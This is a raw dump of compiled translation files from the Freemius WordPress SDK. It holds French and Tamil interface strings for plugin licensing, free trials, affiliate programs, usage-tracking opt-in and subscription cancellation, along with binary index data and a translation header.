"Serviceware" ce qui veut dire qu'il n'a pas de version premium de code.PluginsSynchronisation des plugin et des thèmesPremiumLa version premium de %s a été activée avec succès.La version premium de l'add-on est déjà installée.Version premiumVersion premium déjà active.TarifsPolitique de confidentialitéPoursuivreID du processusTraitement en coursProduitsSommaire du programmeMéthodes de promotionRégionClef publiqueAcheter une licenceCommentaires rapidesQuotaRenvoyer l'email d'activationParrainez des nouveaux clients pour notre %s et gagnez une commission de %s sur chaque vente réussie que vous affiliez.Renouvelez votre licenceRenouvelez votre licence maintenantDemandesVersion de WordPress requiseRésultatSDKChemin d'accès du SDKÉconomisez %sCrons programmésCaptures d'écranRecherche par adresseClef secrêtePage %s sécurisée HTTPS, s'exécutant sur un domaine externeIl semble que nous ayons un problème temporaire avec l'annulation de votre abonnement. Merci de réessayer dans quelques minutes.Il semble que nous ayons un problème temporaire pour annuler votre période d'essai. Merci de réessayer dans quelques minutes.Il semble que vous ayez la dernière version.Choisir le paysEnvoyer le code de la licenceMise en place des options de la base de donnéesSimuler la mise à jour du réseauSimuler la promotion d'essaiLicence 1 siteSite IDSite ajouté avec succès.SitesPasser & %sSlugRéseaux sociaux (Facebook, Twitter, etc.)Désolé pour le dérangement et nous sommes là pour vous aider si vous nous le permettez.Désolé, nous ne pouvons pas mettre à jour l'email. Il existe déjà un autre utilisateur avec cette adresse.DébutEssai gratuitCommencer ma %s gratuiteÉtatEnvoyer & %sInscriptionSupportForum de SupportSynchronisation des données depuis le serveurCode TVAConditions générales de serviceMerci d'avoir postulé à notre programme d'affiliation, malheureusement, nous avons décidé pour le moment de décliner votre dossier. Merci d'essayer à nouveau d'ici 30 jours.Merci d'avoir postulé à notre programme d'affiliation, nous regarderons votre dossier durant les 14 prochains jours et nous reviendrons vers vous avec d'autres informations.Merci beaucoup d'utiliser %s et ses add-ons !Merci beaucoup d'utiliser %s !Merci beaucoup d'utiliser nos produits !Merci !Merci %s !Merci pour la confirmation du changement de propriétaire. Un email vient d'être envoyé à %s pour la validation finale.Le %s a cassé mon siteLe %s n'a pas fonctionnéLe %s n'a pas fonctionné comme prévuLe %s est bien mais j'ai besoin de fonctionnalités spécifiques que vous ne proposez pasLe %s ne fonctionne pasLe %s a soudainement arrêté de fonctionnerL'installation a commencé et peut prendre quelques minutes pour se finir. Merci de patienter jusqu'à ce qu'elle soit terminée - veuillez ne pas rafraichir cette page.Le package du plugin à télécharger ne contient pas de dossier avec le bon slug et iln'a pas été possible de le renommer.La mise à jour du %s s'est terminée avec succès ThèmeChangement de ThèmeThèmesIl y a une %s de %s disponible.Il y a une nouvelle version disponible de %s. Ce plugin n'a pas été indiqué comme étant compatible avec votre version actuelle de WordPressCe plugin n'a pas été testé avec votre actuelle version de WordPressTimestampTitreTotalVillePériode d'essaiTypeImpossible de se connecter au système de fichiers. Merci de confirmer vos autorisations.Licences sites illimitésMises à jour illimitéesCommissions illimitées.Jusqu'à %s SitesMise à jourMettre à jour la licenceMises à jour, annonces, marketing, pas de spamMise à jourTéléverser et activer la version téléchargéeGénialUser IDUtilisateursValeurUn email de vérification vient d'être envoyé sur %s. Si vous ne le recevez pas d'ici 5 minutes, merci de vérifier dans vos spams.VérifiéVérifier l'emailLa version %s vient d'être publiée.Voir les détailsVoir les fonctionnalités payantesAttentionNous ne trouvons aucune licence active associée avec cette adresse email, êtes-vous qu'il s'agit de la bonne adresse ?Nous ne trouvons pas votre adresse mail dans notre système, êtes-vous qu'il s'agit de la bonne adresse ?Nous avons fait quelques modifications au %s, %sNous sommes impatient de vous présenter l'intégration Freemius au niveau réseau.Statistiques du site web, de l'adresse email et des réseaux sociaux (optionnel)À quoi vous attendiez-vous ?Quelle fonctionnalité ?Quel est votre %s ?Quel prix seriez-vous prêt à payer ?Que recherchez-vous ?Quel est le nom du %s ?Où allez-vous faire la promotion du %s ? Page WordPress.org du pluginOuiOui - %sVous avez déjà utilisé la période d'essai.Vous êtes à 1 clic de commencer votre période d'essai gratuite de %1$s jours de la formule %2$s.Vous êtes tout bon !Vous utilisez déjà le %s en période d'essai. Il ne reste qu'une étape - %sVous pouvez toujours profiter de toutes les fonctionnalités de %s mais vous n'aurez plus accès aux mises à jour de sécurité ou de fonctionnalités de %s, ni au support.Vous n'avez pas de licence valide pour accéder à la version premium.Vous avez une license pour %s.Votre %s a bien été mis à jour.Peut-être que cela vous a échappé mais vous n'êtes pas obligé de partager la moindre information et vous pouvez juste %s l'enregistrement.Vous avez déjà validé notre suivi d'utilisation qui nous permet de continuer à améliorer le %s.Vous avez déjà validé notre suivi d'utilisation qui nous permet de continuer à les améliorer.Votre Add-on %s a bien été mis à jour.Votre période d'essai %s a bien été annulé.Votre compte a été activé avec succès avec la formule %s.Votre dossier d'affiliation pour %s a été accepté ! Identifiez-vous dans votre espace affilié sur : %s.Votre compte affilié a été suspendu temporairement.Votre email a été vérifié avec succès - vous êtes FORMIDABLE !Votre période d'essai gratuite est terminée. %1$sFaites la mise à jour maintenant%2$s pour continuer à utiliser le %3$s sans interruption.Votre période d'essai gratuite est terminée. Vous pouvez continuer à utiliser toutes nos fonctionnalités gratuites.Votre licence a été annulé. Si vous pensez qu'il s'agit d'une erreur, merci de contacter le support.Votre licence a expiré.%1$sFaites la mise à jour maintenant%2$s pour continuer à utiliser le %3$s sans interruption.Votre licence a expiré. Vous pouvez toujours utiliser les fonctionnalités %s mais vous devrez renouveler votre licence pour recevoir les mises à jour et une assistance.Votre licence a expiré. Vous pouvez toujours utiliser la version gratuite indéfiniment.Votre licence a bien été activée.Votre licence a bien été désactivé, vous utilisez à présent la formule %s.Votre nom a été mis à jour.Votre formule a bien été modifié vers %s. Votre formule a bien été mise à jour.Votre abonnement a bien été annulé. Votre licence de la formule %s expirera dans %s.Votre période d'essai a bien démarré.Code postalDirectement%s ne peut pas fonctionner sans %s.%s ne peut pas fonctionner sans le plugin.Avertissementautoriser%s restante(s)Activation en coursannéeAPIFermerDebuggageFélicitationsBloquéConnectéTélécharger la dernière versionTélécharger la dernière version gratuiteMensuelExpirationCheminEmail en cours d'envoimoisAnnuelAnnuelUne foisFormuleClef secrète manquanteVersions du SDKLicenceSynchroniserSynchroniser la licenceAuteurOffOnBasé sur %sCommencer l'essai gratuitFermerFermerDésactivationdéléguerne %sPAS%s m'envoyer de mises à jour de sécurité ou de fonctionnalités, ni de contenu instructif, ni d'offre.Formule %s%s FacturéBestHeyOupsHey %s,YoupilicenceSitesmsNouvelle versionNon vérifiéTarifTarifsVersionsecpasserHmmcommencer la période d'essaiabonnementChangementla dernière version de %s iciessaiPériode d'essaiSupprimerRétrograderÉditerCacherInscriptionDésinscriptionAcheterAfficherPasserMise à jourMise à jourIl y a %svendor/freemius/languages/freemius-ta.mo000064400000226640147600365160014426 0ustar00!,A,n;-h-d.Sx.%. . . //6$/[/_0#p00 0 0 000000@0H:11O111 2)212A2I2 R2^2o222&2-23 33.3C3V3]35e333 3 3'33 4 4!4o2444GH555Y6l6"6626!6a707777778 88$8-858 :8 F8T8 f8r8888 =9H9\9 p9 }9 999Y9:+: <:H:Q:V:f:(:1:%::;;;@;Q;Y; i; t;;; ;; ;;x;E< < << ==t%=======> 8>C>>[?f?X@ ^@l@Yp@a@,A2ARA ZA hA;vAAAAB B B BBjBaC pCzC3C2CC~CU}DDDE)#E-ME{ESEE'E#FM&F7tFgFpGGGyGH8H XHdHwHH HH H1H.IO4IIAJyFJJJaJXKB\K,KK K KK L "L-L4Lf*g&AgZhgTgRh.kh.h9hZi3^i<ibiP2jUj_j9kKk( lGIl#l%l)l$mU*m)mmmm;m6*n>annnnn$no6oRono&o*o7op-pKp3dpppppp* q17qiqq#qqqq qr'r>r Sr`rNirrrrs s1sBs1]sssss s s s ss tC!tetQjtt t tttu u#u 2u =f)XΠ'' OVYP"/iRk(@G_M36je}ݩת1(;. ER$٭3(2[ۮYA@`4 ֲ-K]!syG>$ |E¸YI-g>޻c @ý_P#{t@ JM < TuV+NZ,W4g"xY8( 5Le !%,?U.p ; %=GSqR *`g;'U*}y"P&w_%d =![.} Q_1|`rvfP;c.+Z|WoRwOF2y4 $+2$^!,4ai1q7=W $=X,( 4(1I{eFFB'A $'8"`, Z4(@$ 1?X#qH/>4stk7M  > N[x .\d~G@73rk1WhA@@eI H"Ux.g%" !2"F?4"t!1!v1QjYp6UGW=lJi4r Z * #E ki ` &6 s] 9     < 1IC>~OJMgi&^w{ `FHp_vG  S!.!"'#"7K"M"""!"3#C#V#Z#.z#'#*#*#D'$cl$$$ %O %\%l%'|%%% %"%%& &'"&J&N&0Q&u&&'B8'{''(4(())%)'?)g)o)))8)%)E) @*M*m***k++@++ +;+!,!A, c,m,,,,%,----!F-!h---^l}G@!u 7IWUT[ z( i1#* eh.dVrK:}MoA="C8g/wthS>K L;$U J'VLZX0 \pW"Hn{8Fk(~`kb,)u2Ng0yqj{ \_sP YXd+Pa4y~ &|4v oER_A/N!F^[q2-DJ1=r @BzcD?SOG)%+tQ3 c55]9]l7mO v#xfYIE6`exZsM;p'ab3jmn  ,<:Q|>*T9Bw?H<$fiR&.% C6 %s to access version %s security & feature updates, and support. The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.%1$s will immediately stop all future recurring payments and your %s plan license will expire in %s.%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s and its add-ons%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is the new owner of the account.%s minimum payout amount.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s to access version %s security & feature updates, and support.%s tracking cookie after the first visit to maximize earnings potential.%s's paid features%sClick here%s to choose the sites where you'd like to activate the license on.APIASCII arrow left icon←ASCII arrow right icon➤AccountAccount DetailsActionsActivateActivate %sActivate %s PlanActivate %s featuresActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAlternatively, you can skip it for now and activate the license later, in your %s's network-level Account page.AmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.An unknown error has occurred while trying to set the user's beta mode.An unknown error has occurred.An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre you sure you want to delete all Freemius data?Are you sure you want to proceed?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBetaBillingBilling & InvoicesBlockingBlog IDBodyBundle PlanBusiness nameBuy a license nowBuy licenseCan't find your license key?CancelCancel %s & ProceedCancel %s - I no longer need any security & feature updates, nor support for %s because I'm not planning to use the %s on this, or any other site.Cancel %s?Cancel InstallationCancel SubscriptionCancel TrialCancelledCancelling %sCancelling %s...Cancelling the subscriptionCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanCheckoutCityClear API CacheClear Updates TransientsClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeDateDeactivateDeactivate LicenseDeactivating or uninstalling the %s will automatically disable the license, which you'll be able to use on another site.Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?DeactivationDebug LogDelegate to Site AdminsDelete All AccountsDetailsDon't cancel %s - I'm still interested in getting security & feature updates, as well as be able to contact support.Don't have a license key?Donate to this pluginDowngrading your planDownloadDownload %s VersionDownload the latest %s versionDownload the latest versionDownloadedDue to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)Due to violation of our affiliation terms, we decided to temporarily block your affiliation account. If you have any questions, please contact support.During the update process we detected %d site(s) that are still pending license activation.During the update process we detected %s site(s) in the network that are still pending your attention.EmailEmail addressEndEnter the domain of your website or other websites from where you plan to promote the %s.Enter the email address you've used for the upgrade below and we will resend you the license key.ErrorError received from the server:ExpiredExpires in %sExtra DomainsExtra domains where you will be marketing the product from.FileFilterFor compliance with the WordPress.org guidelines, before we start the trial we ask that you opt in with your user and non-sensitive site information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.FreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFull nameFunctionGet commission for automated subscription renewals.Get updates for bleeding edge Beta versions of %s.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!How do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I can't pay for it anymoreI couldn't understand how to make it workI don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know why you are %sIf you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Important Upgrade Notice:In %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Install Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid module ID.Invalid site details collection.InvoiceIs ActiveIt looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's not what I was looking forJoin the Beta programJust letting you know that the add-ons information of %s is being pulled from an external server.KeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense KeyLicense keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerMessageMethodMigrate Options to NetworkMobile appsModuleModule PathModule TypeMore information about %sNameNetwork BlogNetwork UserNewNew Version AvailableNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.Opt InOpt OutOpt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProceedProcess IDProcessingProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicensePurchase MoreQuick FeedbackQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRenew your license nowRequestsRequires WordPress VersionResultSDKSDK PathSave %sScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSimulate Network UpgradeSimulate Trial PromotionSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSocial media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart TrialStart my free %sStateSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you so much for using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a %s of %s available.There is a new version of %s available.This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.TimestampTitleTotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser IDUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We made a few tweaks to the %s, %sWe're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress.org Plugin PageWould you like to proceed with the update?YesYes - %sYou already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.You do not have a valid license to access the premium version.You have a %s license.You have successfully updated your %s.You might have missed it, but you don't have to share any data and can just %s the opt-in.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully activated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onactive add-onActiveaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismissdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,installed add-onInstalledinterjection expressing joy or exuberanceYee-hawlicenselike websitesSitesmillisecondsmsnew Beta versionnew versionnot verifiednounPricenounPricingproduct versionVersionsecondssecsend me security & feature updates, educational content and offers.skipsomething somebody says when they are thinking about what you have just said.Hmmstart the trialsubscriptionswitchingthe latest %s version heretrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Sankar Srinivasan , 2019 Language-Team: Tamil (http://www.transifex.com/freemius/wordpress-sdk/language/ta/) Language: ta MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js %s பதிப்பின் பாதுகாப்பு & வசதி மேம்படுத்தல் மற்றும் உதவிக்கு%s.%1$sன் விலையுள்ள பதிப்பு ஏற்கனவே நிறுவப்பட்டுள்ளது. %2$s வசதிகளை பயன்படுத்த அதை செயல்படுத்தவும். %3$sவருகின்ற அனைத்து பணம் செலுத்துதல்களையும் %1$s உடன் நிறுத்துகிறது, மற்றும் உங்கள் %2$s திட்ட உரிமம் %3$sல் காலாவதியாகிறது.%1$s உடனடியாக அனைத்து எதிர்வரும் பணம் செலுத்தல்களை நிறுத்தும் மற்றும் உங்கள் %s திட்ட உரிமம் %sல் காலாவதியாகும்."%s" செயல்படுத்தலை முடியுங்கள்%s ஆட்-ஆனை வாங்கிவிட்டீர்கள்.%s நிறுவுதல்கள்%s உரிமங்கள்%s முன்பு%sம் அதன் ஆட்-ஆன்களும்ஒரு வாடிக்கையாளர் புது உரிமம் வாங்கும்போது %s லாபப் பங்கீடு.ஆட் ஆன் விலையுள்ளது என்பதால் %sன் விலையில்லா முன்னோட்டம் ரத்தானது. நீங்கள் உரிமம் வாங்கிப் பயன்பாட்டைத் தொடரலாம்.%s ஒரு விலையுள்ள ஆட்ஆன். ப்ளக்இன் செயல்பட நீங்கள் உரிமம் வாங்கவேண்டும்கணக்கின் புதிய உரிமையாளர் %s.%s குறைந்தபட்ச பணம் பெறுதல்.%s அல்லது அதிகமாக%s மதிப்பீட்டெண்%s மதிப்பீட்டெண்கள்%s sec%s நட்சத்திரம்%s நட்சத்திரங்கள்%s முறை%s முறைகள்%s பாதுகாப்பு மேம்படுத்தல் மற்றும் உதவிக்கு %sவருமானம் அதிகரிக்க, முதல் தள வருகையில் %s tracking cookie.%sன் விலையுள்ள வசதிகள்உங்களுக்கு வேண்டிய தளங்களில் உரிமத்தை செயல்படுத்த %s கிளிக் செய்க %sAPI←➤கணக்குகணக்கு விபரங்கள்செயல்கள்செயல்படுத்து%s செயல்படுத்து%s திட்டம் செயல்படுத்த%s வசதிகளை செயல்படுத்தவிலையில்லா பதிப்பை செயல்படுத்தஉரிமம் செயல்படுத்தமீதமுள்ள எல்லா தளங்களிலும் உரிமத்தை செயல்படுத்துகவலைப்பின்னலில் உள்ள எல்லா தளங்களிலும் உரிமத்தை செயல்படுத்துகஆட்-ஆன் செயல்படுத்தசெயல்படுத்தப்பட்டது%sக்கான ஆட்ஆன்கள்Module %sன் ஆட்ஆன்கள்அடுத்த தளத்தைச் சேர்க்கஆட் ஆன்ஆட்-ஆன்ஸ்ஆட்ஆன் WordPress.org அல்லது Freemius ஏதாவது ஒன்றில் வரிசைப்படுத்தப் பட்டிருக்க வேண்டும்.முகவரிமுகவரி வரி %dAffiliateபுரிந்துணர்வுவிலையில்லா %sக்குப் பிறகு, குறைந்தளவு %s செலுத்துங்கள்ஒப்புக்கொண்டு உரிமத்தை செயல்படுத்துகஅனைத்து வேண்டுகோள்கள்அனைத்து மாதிரிகள்அனுமதித்து தொடர்கஇல்லாவிட்டால், Network-level கணக்குப் பக்கத்தில் எப்போது வேண்டுமானாலும் உரிமத்தை செயல்படுத்திக் கொள்ளலாம்.தொகை%sலிருந்து %s (பணம் செலுத்திய) பதிப்பின் தானியங்கி பதிவிறக்கமும், நிறுவுதலும் %sல் ஆரம்பமாகும். இதை நீங்களே செய்ய விரும்பினால் ரத்து செய்யும் பட்டனை அழுத்தவும். உபயோகிப்பாளரின் பீட்டாவை செயல்படுத்துகையில், புதிய தவறு உருவாகியுள்ளது.என்னதென்றே தெரியாத ஒரு தவறு நேர்ந்துவிட்டதுஎச்சரிக்கை: %sன் முன்னோட்ட Beta பதிப்பின் மேம்பட்ட வடிவம் பழைய பதிப்பின் மீது நிறுவப்படுகிறது. அனாமதேய பின்னூட்டம்மீதமுள்ள அனைத்து தளங்களின் மீதும் பிரயோகிக்கவலைப்பின்னலின் அனைத்து தளங்களின் மீதும் பிரயோகிக்கAffiliate ஆக விண்ணப்பியுங்கள்அனைத்து Freemius தகவலையும் அழிக்க விருப்பமா?மேலே தொடர விருப்பமா?வாடிக்கையாளர் 30 நாட்களுக்கு பணம் திரும்பப் பெறலாம் Refund என்பதால் உங்களுக்கு லாபப் பங்கீடு 30 நாட்களுக்குப் பிறகே கிடைக்கும்.முன்னரே தெரிவு செய்திருந்தால் மட்டுமே தானியங்கி நிறுவுதல் நடைபெறும்.%sல் தானாக புதுப்பிக்கிறதுதானியங்கி நிறுவுதல்உத்தேச மதிப்பீட்டெண்அடி தூள்Affiliate ஆகுங்கள்பீட்டாவசூல்பில் & இன்வாய்ஸ்தடுக்கப்படுகிறதுBlog IDஅமைப்புகூட்டுத்திட்டம்தொழிலின் பெயர்புது உரிமம் வாங்குங்கள்உரிமம் வாங்கLicense Key காணவில்லையா?ரத்து%s ரத்து செய்க & தொடர்கநான் %sஐ இந்த தளத்திலோ அல்லது பிற தளத்திலோ உபயோகிக்க விரும்பவில்லை என்பதால் %sக்கு உதவியோ, பாதுகாப்பு மேம்படுத்தலோ தேவையில்லை. %sஐ ரத்து செய்யவும்.%s ரத்து செய்யவா?நிறுவுதலை ரத்துசெய்சந்தாவை ரத்து செய்வெள்ளோட்டம் ரத்து செய்கரத்தானது%s ரத்தாகிறது%s ரத்தாகிறது...சந்தா ரத்தாகிறதுவெள்ளோட்டத்தை ரத்து செய்தால் அனைத்து விலையுள்ள வசதிகளும் நிறுத்தப்படும். சரியா?உரிமம் மாற்றஉரிமை மாற்றம்திட்டம் மாற்றCheckoutஊர்API Cache நீக்கClear Updates Transientsபிளக்இன்னை அநாமதேயமாக பயன்படுத்த இங்கே கிளிக் செய்யவும்%s குறித்த மதிப்பீடு & விமர்சனங்களை கிளிக் செய்து காண்ககிளிக் செய்து %dன் முழுஅளவு திரைநகல் காண்கதயாரிப்புகள்Codeஒத்திசைவு உயர்நிலைதொடர்புஉதவியை அணுகவும்தொடர்பு கொள்ளுங்கள்பங்கெடுத்தோர்%sஐ செயல்படுத்த முடியவில்லை.நாடுCron மாதிரிதேதிசெயல்நிறுத்துஉரிமத்தை செயல்நிறுத்த%sஐ செயல்நிறுத்தினாலோ, அகற்றினாலோ பிற தளங்களில் பயன்படுத்தும் வாய்ப்பிருந்தும், உரிமம் தானாகவே செயலிழக்கும்.உரிமத்தை செயல்நிறுத்துவதானது, அனைத்து விலையுள்ள வசதிகளையும் நிறுத்திவிடும். ஆனாலும் பிற தளங்களில் செயல்படுத்தலாம். தொடரலாமா?செயல்நிறுத்துDebug Logதள நிர்வாகிகளுக்கான சிறப்பாளர்அனைத்து கணக்குகளையும் அழிக்கவிபரங்கள்%s ரத்துசெய்ய வேண்டாம் - அதற்கு உதவியை அணுகவும், பாதுகாப்பு மேம்படுத்தல்களைப் பெறவும் விரும்புகிறேன்.License Key இல்லையா?இந்த பிளக்இன்னுக்கு நன்கொடை தாருங்கள்உங்கள் திட்டம் கீழ்ப்படுத்தப்படுகிறதுபதிவிறக்கு%s பதிப்பை பதிவிறக்கலாம்%sன் அண்மைய பதிப்பைப் பதிவிறக்கலாம்புதிய பதிப்பை பதிவிறக்கலாம்பதிவிறக்கப்பட்டதுபுதிய %s EU GDPRன் படி %s மேற்பார்வை விதிகளால், ஆட்சேபகர தகவலுக்கு எதிரான உங்கள் நிலையை உறுதி செய்கிறீர்கள் :)எங்கள் affiliate திட்ட 